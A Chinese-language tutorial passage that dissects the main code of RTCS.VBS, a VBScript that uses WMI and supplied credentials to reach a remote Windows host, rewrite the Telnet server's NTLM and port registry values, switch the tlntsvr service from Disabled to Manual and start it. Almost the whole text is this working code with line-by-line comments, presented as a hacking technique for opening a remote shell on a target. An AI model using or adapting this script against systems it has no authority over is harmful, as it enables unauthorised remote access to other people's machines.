理论知识学起来很枯燥,下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。
二:解析RTCS.VBS主要代码
=====================================================================================
有时候阅读别人的源码未尝不是一个好而且快捷的办法,下面就让我们来认真学习zzzEVAzzz编写的一个可以远程开启telnet服务的脚本RTCS.VBS。
该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现远程开启/关闭目标telnet服务,为了方便大家学习我抽出了最主要的代码,具体分析如下:
set objlocator=createobject("wbemscripting.swbemlocator")
//创建WbemScripting.SwbemLocator对象(脚本接口)。
//可以看出WMI其实就是把Com组件WbemScripting.SWbemLocator封装起来罢了。
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
//通过ConnectServer函数请求连接到WMI控件服务上,root/default为命名空间。
set objinstance=objswbemservices.get("stdregprov")
//建立访问注册表的实例。
set objmethod=objinstance.methods_("SetDWORDvalue")
//建立可以更改注册表键值的方法。
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters用于获取或设置方法的输入参数。这里用spawninstance方法为它建立一个子实例,下面就可以将参数值赋予这个对象的属性。
objinparam.hdefkey=&h80000002
//hdefkey表示根键,根键的十六制值如下:
//HKEY_CLASSES_ROOT (&H80000000)
//HKEY_CURRENT_USER (&H80000001)
//HKEY_LOCAL_MACHINE (&H80000002)
//HKEY_USERS (&H80000003)
//HKEY_CURRENT_CONFIG (&H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname表示子键。
objinparam.svaluename="NTLM"
//svaluename表示属性名。
objinparam.uvalue=ntlm
//uvalue表示键值。
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
//利用execmethod执行方法,这里才真正改写了注册表。
//下面是修改telnet服务的TelnetPort值,原理同上。
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
修改telnet的注册表部分就完成了,将NTLM和TelnetPort进行了修改,要是对方的telnet服务没有开启呢?下面就需要根据telnet的具体情况,来启动telnet服务,继续看代码。
//首先查询远程主机上tlntsvr的启动方式。
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
//win32_service类在root\cimv2命名空间中,作用没忘记吧?快看基础知识呵。
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//注意:查询都是通过枚举来实现的。
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
set objmethod=objinstance.methods_("changestartmode")
//创建changestartmode方法来改变tlntsvr的启动方式。
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//将启动方式改为手动方式。
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
end if
//下面启动我们的telnet服务。这里zzzEVAzzz的思路好象有点不对,也不知道是不是他的疏忽,我个人认为当telnet服务已经启动时不应该用stopservice方法停止服务。
if objinstance.started=true then
intstatus=objinstance.stopservice()
//stopservice是WMI中用于停止服务实例的服务的方法。
else
intstatus=objinstance.startservice()
end if
next